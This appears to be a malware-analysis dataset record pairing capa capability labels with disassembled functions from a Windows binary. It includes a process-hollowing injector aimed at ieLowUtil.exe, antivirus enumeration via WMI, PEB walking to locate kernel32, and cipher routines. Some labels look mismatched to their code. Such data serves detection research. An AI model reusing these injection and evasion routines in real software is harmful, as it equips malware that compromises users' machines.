joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410a14
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
and dword [ebp - 0xc], 0
and dword [ebp - 0x30], 0
and dword [ebp - 0x2c], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
jne 0x410bfc
push 0x10
push 0
lea eax, [ebp - 0x24]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x44
push 0
lea eax, [ebp - 0x78]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x78]
push eax
push 0
push 0
push 4
push 1
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [0x641710]
test eax, eax
setne al
mov byte [ebp - 0x79], al
movzx eax, byte [ebp - 0x79]
cmp eax, 1
jne 0x410bf7
push 4
push 0x1000
push 4
push 0
call dword [0x6417cc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0x10007
push dword [ebp - 4]
push dword [ebp - 0x20]
call dword [0x641868]
test eax, eax
je 0x410bf2
push 0
push 4
lea eax, [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call dword [0x64186c]
push 0x40
push 0x3000
mov eax, dword [ebp - 8]
push dword [eax + 0x50]
mov eax, dword [ebp - 8]
push dword [eax + 0x34]
push dword [ebp - 0x24]
call dword [0x6416b8]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x410b20
push dword [ebp - 0x20]
call dword [0x641880]
xor eax, eax
jmp 0x410bff
cmp dword [ebp - 0x2c], 0
jbe 0x410bed
push 0
mov eax, dword [ebp - 8]
push dword [eax + 0x54]
push dword [ebp + 0xc]
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
call dword [0x6416c8]
and dword [ebp - 0x10], 0
jmp 0x410b4e
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
movzx eax, word [eax + 6]
cmp dword [ebp - 0x10], eax
jge 0x410b9a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0x10]
imul eax, eax, 0x28
lea eax, [ecx + eax + 0xf8]
mov dword [ebp - 0x14], eax
push 0
mov eax, dword [ebp - 0x14]
push dword [eax + 0x10]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x14]
push ecx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x2c]
add ecx, dword [eax + 0xc]
push ecx
push dword [ebp - 0x24]
call dword [0x6416c8]
jmp 0x410b47
push 0
push 4
mov eax, dword [ebp - 8]
add eax, 0x34
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call dword [0x6416c8]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x2c]
add ecx, dword [eax + 0x28]
mov eax, dword [ebp - 4]
mov dword [eax + 0xb0], ecx
push dword [ebp - 4]
push dword [ebp - 0x20]
call dword [0x64169c]
push dword [ebp - 0x20]
call dword [0x641880]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
jmp 0x410bff
mov eax, dword [ebp - 0xc]
jmp 0x410bff
mov eax, dword [ebp - 0xc]
jmp 0x410bff
mov eax, dword [ebp - 0xc]
jmp 0x410bff
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x4127af
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x424868
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x50
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
and dword [ebp - 4], 0
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x1c]
push eax
push 0x42ada8
push 1
push 0
push 0x42ae78
call dword [sym.imp.ole32.dll_CoCreateInstance]
and dword [ebp - 0x18], 0
mov dword [ebp - 0x14], str.ROOTCIMV2
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
push dword [ebp - 0x1c]
call dword [eax + 0xc]
test eax, eax
jl 0x41297e
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [ebp - 0x18]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
and dword [ebp - 0x24], 0
mov dword [ebp - 0x20], str.Select__From_Win32_OperatingSystem
lea eax, [ebp - 0x24]
push eax
push 0
push 0x20
push dword [ebp - 0x20]
push 0x429328
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
push dword [ebp - 0x18]
call dword [eax + 0x50]
test eax, eax
jl 0x41296a
and dword [ebp - 0x2c], 0
and dword [ebp - 0x28], 0
cmp dword [ebp - 0x24], 0
je 0x412968
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
push 1
push 0xffffffffffffffff
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
push dword [ebp - 0x24]
call dword [eax + 0x10]
cmp dword [ebp - 0x28], 0
jne 0x4128bd
jmp 0x412968
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
push 0
push 0
lea eax, [ebp - 0x58]
push eax
push 0
push str.InstallDate
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
push dword [ebp - 0x2c]
call dword [eax + 0x10]
push 1
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x50]
call fcn.004126a3
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x104
push 0
call dword [0x641870]
push eax
call dword [0x641800]
mov dword [ebp - 0x5c], eax
movzx eax, word [ebp - 0x30]
push eax
movzx eax, word [ebp - 0x32]
push eax
movzx eax, word [ebp - 0x34]
push eax
movzx eax, word [ebp - 0x3c]
push eax
movzx eax, word [ebp - 0x3a]
push eax
movzx eax, word [ebp - 0x36]
push eax
push 0x4292fc
push dword [ebp - 0x5c]
call dword [0x641680]
add esp, 0x20
push dword [ebp - 0x5c]
mov ecx, dword [ebp + 8]
call fcn.00411668
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp + 8]
jmp 0x4129b0
jmp 0x41297c
push str.Unknown
mov ecx, dword [ebp + 8]
call fcn.00411668
mov eax, dword [ebp + 8]
jmp 0x4129b0
jmp 0x412990
push str.Unknown
mov ecx, dword [ebp + 8]
call fcn.00411668
mov eax, dword [ebp + 8]
jmp 0x4129b0
jmp 0x41299c
or dword [ebp - 4], 0xffffffff
push str.Unknown
mov ecx, dword [ebp + 8]
call fcn.00411668
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4129bf
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x424872
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x34
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
and dword [ebp - 4], 0
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x1c]
push eax
push 0x42ada8
push 1
push 0
push 0x42ae78
call dword [sym.imp.ole32.dll_CoCreateInstance]
and dword [ebp - 0x18], 0
mov dword [ebp - 0x14], str.rootSecurityCenter2
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
push dword [ebp - 0x1c]
call dword [eax + 0xc]
test eax, eax
jl 0x412b22
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [ebp - 0x18]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x20], str.Select__From_AntiVirusProduct
and dword [ebp - 0x24], 0
lea eax, [ebp - 0x24]
push eax
push 0
push 0x20
push dword [ebp - 0x20]
push 0x429328
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
push dword [ebp - 0x18]
call dword [eax + 0x50]
test eax, eax
jl 0x412b0e
and dword [ebp - 0x2c], 0
and dword [ebp - 0x28], 0
cmp dword [ebp - 0x24], 0
je 0x412b0c
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
push 1
push 0xffffffffffffffff
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
push dword [ebp - 0x24]
call dword [eax + 0x10]
cmp dword [ebp - 0x28], 0
jne 0x412ac2
jmp 0x412b0c
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
push 0
push 0
lea eax, [ebp - 0x40]
push eax
push 0
push str.displayName
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
push dword [ebp - 0x2c]
call dword [eax + 0x10]
push dword [ebp - 0x38]
call fcn.00412ef6
pop ecx
push eax
mov ecx, dword [ebp + 8]
call fcn.00411668
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp + 8]
jmp 0x412b54
jmp 0x412b20
push str.Unknown
mov ecx, dword [ebp + 8]
call fcn.00411668
mov eax, dword [ebp + 8]
jmp 0x412b54
jmp 0x412b34
push str.Unknown
mov ecx, dword [ebp + 8]
call fcn.00411668
mov eax, dword [ebp + 8]
jmp 0x412b54
jmp 0x412b40
or dword [ebp - 4], 0xffffffff
push str.Unknown
mov ecx, dword [ebp + 8]
call fcn.00411668
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x413878
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
and dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 3
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0x425200
mov eax, 0x414
mov word [ebp - 0x10], ax
and dword [ebp - 0xe], 0
and dword [ebp - 0xa], 0
mov dword [ebp - 6], 0x425200
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
leave
ret
Function at 0x413d08
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe8
sub esp, 0xc
mov ecx, esp
push 0x425200
call fcn.00411668
sub esp, 0xc
mov ecx, esp
lea eax, [ebp + 0x70]
push eax
call fcn.004116b4
call fcn.00404ad5
add esp, 0x18
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x80]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 4], eax
and dword [ebp - 0xc], 0
cmp dword [ebp + 0x7c], 0
je 0x413eca
push 0x425200
lea ecx, [ebp - 0x74]
call fcn.00411668
push str..exe
lea eax, [ebp - 0xc4]
push eax
push 6
lea eax, [ebp - 0xac]
push eax
call fcn.00412d64
pop ecx
pop ecx
push eax
lea eax, [ebp - 0xb8]
push eax
push 0x4251e8
lea eax, [ebp - 0xa0]
push eax
push dword [0x630a38]
lea eax, [ebp - 0x94]
push eax
lea ecx, [ebp - 0x74]
call fcn.0041185b
mov ecx, eax
call fcn.0041185b
mov ecx, eax
call fcn.004117e0
mov ecx, eax
call fcn.0041185b
push eax
lea ecx, [ebp - 0x74]
call fcn.0041177a
lea ecx, [ebp - 0xc4]
call fcn.00411701
lea ecx, [ebp - 0xb8]
call fcn.00411701
lea ecx, [ebp - 0xa0]
call fcn.00411701
lea ecx, [ebp - 0x94]
call fcn.00411701
lea ecx, [ebp - 0xac]
call fcn.00411701
push dword [0x42fa38]
push 0x42e038
sub esp, 0xc
mov ecx, esp
lea eax, [ebp - 0x74]
push eax
call fcn.004116b4
call fcn.00413738
add esp, 0x14
push 0x10
push 0
lea eax, [ebp - 0x1c]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x44
push 0
lea eax, [ebp - 0x68]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp + 0x70]
push eax
lea eax, [ebp - 0xe0]
push eax
push 0x428e60
lea eax, [ebp - 0xd4]
push eax
lea ecx, [ebp - 0x74]
call fcn.0041185b
mov ecx, eax
call fcn.004117e0
push eax
lea ecx, [ebp - 0x74]
call fcn.0041177a
lea ecx, [ebp - 0xe0]
call fcn.00411701
lea ecx, [ebp - 0xd4]
call fcn.00411701
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 0x20
push 1
push 0
push 0
lea ecx, [ebp - 0x74]
call fcn.0041193a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x413eb2
and dword [ebp - 0xc], 0
jmp 0x413eb9
mov dword [ebp - 0xc], 1
mov dword [ebp - 0xc], 1
lea ecx, [ebp - 0x74]
call fcn.00411701
jmp 0x413eff
and dword [ebp - 0x78], 0
jmp 0x413ed7
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xa
jge 0x413eff
push 0x425200
push dword [ebp - 8]
push str.C:Program_Files__x86_Internet_Explorerielowutil.exe
call fcn.00410a14
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jbe 0x413efd
jmp 0x413eff
jmp 0x413ed0
cmp dword [ebp - 0xc], 0
jbe 0x413f29
mov dword [ebp - 0xe4], 1
lea ecx, [ebp + 8]
call fcn.0040131a
lea ecx, [ebp + 0x70]
call fcn.00411701
mov eax, dword [ebp - 0xe4]
jmp 0x413f58
and dword [ebp - 0xe8], 0
lea ecx, [ebp + 8]
call fcn.0040131a
lea ecx, [ebp + 0x70]
call fcn.00411701
mov eax, dword [ebp - 0xe8]
jmp 0x413f58
leave
ret
Function at 0x4169ec
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x480
and dword [ebp - 4], 0
and dword [ebp - 0x74], 0
and dword [ebp - 0x78], 0
push 0
push str._DRIVE_FIXED_
lea ecx, [ebp + 0x7c]
call fcn.0041193a
push eax
call dword [0x64179c]
test eax, eax
je 0x416a22
mov dword [ebp - 4], 1
push 0
push str._DRIVE_REMOVABLE_
lea ecx, [ebp + 0x7c]
call fcn.0041193a
push eax
call dword [0x64179c]
test eax, eax
je 0x416a4a
mov dword [ebp - 4], 1
mov dword [ebp - 0x74], 1
cmp dword [ebp - 4], 0
je 0x416bca
lea eax, [ebp - 0x70]
push eax
push 0x64
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov dword [ebp - 0x80], eax
and dword [ebp - 0x84], 0
lea eax, [ebp - 0x70]
mov dword [ebp - 0x88], eax
jmp 0x416a91
push dword [ebp - 0x88]
call dword [0x641724]
mov ecx, dword [ebp - 0x88]
lea eax, [ecx + eax + 1]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
movsx eax, byte [eax]
test eax, eax
je 0x416bc8
push 0x3e8
push 0
lea eax, [ebp - 0x470]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x478], eax
push dword [ebp - 0x478]
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp - 0x474], eax
cmp dword [ebp - 0x74], 0
je 0x416b25
cmp dword [ebp - 0x474], 2
jne 0x416b25
lea ecx, [ebp + 0x7c]
call fcn.0041193a
push eax
lea eax, [ebp - 0x470]
push eax
call dword [0x6418b8]
push dword [ebp - 0x478]
push 0x429744
lea eax, [ebp - 0x470]
push eax
call fcn.004133a2
add esp, 0xc
push eax
lea eax, [ebp - 0x470]
push eax
call dword [0x6418b8]
jmp 0x416b63
lea ecx, [ebp + 0x7c]
call fcn.0041193a
push eax
lea eax, [ebp - 0x470]
push eax
call dword [0x6418b8]
push dword [ebp - 0x478]
push 0x429734
lea eax, [ebp - 0x470]
push eax
call fcn.004133a2
add esp, 0xc
push eax
lea eax, [ebp - 0x470]
push eax
call dword [0x6418b8]
push 0
push dword [ebp + 0xa0]
push dword [ebp - 4]
push dword [ebp + 0x98]
push dword [ebp - 0x78]
push dword [ebp + 0x94]
lea ecx, [ebp + 0x88]
call fcn.0041193a
push eax
lea eax, [ebp - 0x470]
push eax
lea ecx, [ebp + 0x70]
call fcn.0041193a
push eax
push 0x425200
lea ecx, [ebp + 0xa4]
call fcn.0041193a
push eax
sub esp, 0x68
mov ecx, esp
lea eax, [ebp + 8]
push eax
call fcn.0040134c
call fcn.004164c7
add esp, 0x94
jmp 0x416a75
jmp 0x416c2c
push 0
push dword [ebp + 0xa0]
push dword [ebp - 4]
push dword [ebp + 0x98]
push dword [ebp - 0x78]
push dword [ebp + 0x94]
lea ecx, [ebp + 0x88]
call fcn.0041193a
push eax
lea ecx, [ebp + 0x7c]
call fcn.0041193a
push eax
lea ecx, [ebp + 0x70]
call fcn.0041193a
push eax
push 0x425200
lea ecx, [ebp + 0xa4]
call fcn.0041193a
push eax
sub esp, 0x68
mov ecx, esp
lea eax, [ebp + 8]
push eax
call fcn.0040134c
call fcn.004164c7
add esp, 0x94
mov eax, dword [ebp + 0xb0]
mov ecx, dword [ebp - 0x78]
mov dword [eax], ecx
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp + 0x68]
jbe 0x416c51
lea ecx, [ebp + 8]
call fcn.0040131a
lea ecx, [ebp + 0x70]
call fcn.00416c63
jmp 0x416c61
lea ecx, [ebp + 8]
call fcn.0040131a
lea ecx, [ebp + 0x70]
call fcn.00416c63
leave
ret
Function at 0x418db9
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
lea ecx, [ebp - 0x48]
call fcn.00418ed7
mov eax, dword [0x64161c]
xor edx, edx
push 2
pop ecx
div ecx
test edx, edx
jne 0x418ddf
mov eax, dword [ebp + 0x30]
mov dword [ebp - 0x48], eax
jmp 0x418de5
mov eax, dword [ebp + 0x34]
mov dword [ebp - 0x48], eax
lea eax, [ebp + 0x74]
push eax
lea ecx, [ebp - 0x20]
call fcn.0041177a
mov eax, dword [ebp + 0x80]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x84]
mov dword [ebp - 0x10], eax
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
lea eax, [ebp + 0x38]
push eax
lea ecx, [ebp - 0x44]
call fcn.0041177a
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x38]
call fcn.0041177a
lea eax, [ebp + 0x18]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0041177a
xor eax, eax
inc eax
je 0x418ead
cmp dword [0x64161c], 2
jae 0x418ea0
mov eax, dword [0x64161c]
inc eax
mov dword [0x64161c], eax
cmp dword [0x641618], 0
je 0x418e74
push dword [ebp + 0x84]
push dword [ebp + 0x80]
lea ecx, [ebp + 0x74]
call fcn.0041193a
push eax
push dword [0x641620]
call fcn.00421744
add esp, 0x10
push 0
push 0
lea eax, [ebp - 0x48]
push eax
push 0x418c65
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x4c], eax
push 0x3e8
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x418ead
push 0x3e8
call dword [0x641698]
jmp 0x418e2f
push 0x425200
mov ecx, dword [ebp + 8]
call fcn.00411668
lea ecx, [ebp - 0x48]
call fcn.00418f0f
lea ecx, [ebp + 0xc]
call fcn.0040131a
lea ecx, [ebp + 0x74]
call fcn.00411701
mov eax, dword [ebp + 8]
leave
ret
Function at 0x41acf3
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret

Function at 0x41da29
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
and dword [eax + 0x6af78], 0
mov eax, dword [ebp + 8]
cmp dword [eax + 0x6af70], 0
jne 0x41da5d
mov eax, dword [ebp + 8]
mov dword [eax + 0x6af78], 1
mov eax, dword [ebp + 8]
mov dword [eax + 0x6af70], 0x10000
mov eax, dword [ebp + 8]
and dword [eax + 0x6af6c], 0
push 0x1fffc
push 0
mov eax, dword [ebp + 8]
add eax, 0x4af70
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, dword [ebp + 0xc]
movzx eax, word [eax*8 + 0x42a5b2]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x6af98], eax
mov eax, dword [ebp + 0xc]
movzx eax, word [eax*8 + 0x42a5b0]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x6af9c], eax
mov eax, dword [ebp + 0xc]
movzx eax, word [eax*8 + 0x42a5b4]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x6afa0], eax
mov eax, dword [ebp + 0xc]
movzx eax, word [eax*8 + 0x42a5b6]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x6af94], eax
cmp dword [ebp + 0xc], 2
jg 0x41dae6
mov eax, dword [ebp + 0x10]
movzx eax, word [eax]
or eax, 4
mov ecx, dword [ebp + 0x10]
mov word [ecx], ax
jmp 0x41dafb
cmp dword [ebp + 0xc], 8
jl 0x41dafb
mov eax, dword [ebp + 0x10]
movzx eax, word [eax]
or eax, 2
mov ecx, dword [ebp + 0x10]
mov word [ecx], ax
mov eax, dword [ebp + 8]
and dword [eax + 0x6af84], 0
mov eax, dword [ebp + 8]
and dword [eax + 0x6af74], 0
mov dword [ebp - 4], 0x8000
mov eax, dword [ebp - 4]
shl eax, 1
mov dword [ebp - 4], eax
push dword [ebp - 4]
mov eax, dword [ebp + 8]
add eax, 0x1af70
push eax
push dword [ebp + 8]
mov eax, dword [ebp + 8]
call dword [eax + 0xc]
add esp, 0xc
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x6af90], eax
mov eax, dword [ebp + 8]
cmp dword [eax + 0x6af90], 0
je 0x41db57
mov eax, dword [ebp + 8]
cmp dword [eax + 0x6af90], 0xffffffff
jne 0x41db70
mov eax, dword [ebp + 8]
mov dword [eax + 0x6af8c], 1
mov eax, dword [ebp + 8]
and dword [eax + 0x6af90], 0
jmp 0x41dbda
mov eax, dword [ebp + 8]
and dword [eax + 0x6af8c], 0
mov eax, dword [ebp + 8]
cmp dword [eax + 0x6af90], 0x106
jae 0x41db92
push dword [ebp + 8]
call fcn.0041de8c
pop ecx
mov eax, dword [ebp + 8]
and dword [eax + 0x6af7c], 0
and dword [ebp - 4], 0
jmp 0x41dba9
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 2
jae 0x41dbda
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x6af7c]
shl eax, 5
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movzx ecx, byte [ecx + 0x1af70]
xor eax, ecx
and eax, 0x7fff
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x6af7c], eax
jmp 0x41dba2
leave
ret
Function at 0x41f6cf
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
jne 0x41f6df
xor eax, eax
jmp 0x41f862
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
mov dword [ebp + 8], eax
cmp dword [ebp + 0x10], 8
jb 0x41f828
mov eax, dword [ebp + 0xc]
movzx eax, byte [eax]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x42a600]
mov dword [ebp + 8], ecx
mov eax, dword [ebp + 0xc]
inc eax
mov dword [ebp + 0xc], eax
mov eax, dword [ebp + 0xc]
movzx eax, byte [eax]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x42a600]
mov dword [ebp + 8], ecx
mov eax, dword [ebp + 0xc]
inc eax
mov dword [ebp + 0xc], eax
mov eax, dword [ebp + 0xc]
movzx eax, byte [eax]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x42a600]
mov dword [ebp + 8], ecx
mov eax, dword [ebp + 0xc]
inc eax
mov dword [ebp + 0xc], eax
mov eax, dword [ebp + 0xc]
movzx eax, byte [eax]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x42a600]
mov dword [ebp + 8], ecx
mov eax, dword [ebp + 0xc]
inc eax
mov dword [ebp + 0xc], eax
mov eax, dword [ebp + 0xc]
movzx eax, byte [eax]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x42a600]
mov dword [ebp + 8], ecx
mov eax, dword [ebp + 0xc]
inc eax
mov dword [ebp + 0xc], eax
mov eax, dword [ebp + 0xc]
movzx eax, byte [eax]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x42a600]
mov dword [ebp + 8], ecx
mov eax, dword [ebp + 0xc]
inc eax
mov dword [ebp + 0xc], eax
mov eax, dword [ebp + 0xc]
movzx eax, byte [eax]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x42a600]
mov dword [ebp + 8], ecx
mov eax, dword [ebp + 0xc]
inc eax
mov dword [ebp + 0xc], eax
mov eax, dword [ebp + 0xc]
movzx eax, byte [eax]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x42a600]
mov dword [ebp + 8], ecx
mov eax, dword [ebp + 0xc]
inc eax
mov dword [ebp + 0xc], eax
mov eax, dword [ebp + 0x10]
sub eax, 8
mov dword [ebp + 0x10], eax
jmp 0x41f6e8
cmp dword [ebp + 0x10], 0
je 0x41f85c
mov eax, dword [ebp + 0xc]
movzx eax, byte [eax]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x42a600]
mov dword [ebp + 8], ecx
mov eax, dword [ebp + 0xc]
inc eax
mov dword [ebp + 0xc], eax
mov eax, dword [ebp + 0x10]
dec eax
mov dword [ebp + 0x10], eax
jne 0x41f82e
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
pop ebp
ret
Function at 0x41f864
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
movsx eax, byte [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor eax, dword [ecx]
and eax, 0xff
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx]
shr ecx, 8
xor ecx, dword [eax*4 + 0x42a600]
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov eax, dword [ebp + 8]
mov eax, dword [eax]
and eax, 0xff
mov ecx, dword [ebp + 8]
add eax, dword [ecx + 4]
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
imul eax, eax, 0x8088405
inc eax
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
shr eax, 0x18
mov ecx, dword [ebp + 8]
xor eax, dword [ecx + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x42a600]
mov eax, dword [ebp + 8]
mov dword [eax + 8], ecx
pop ebp
ret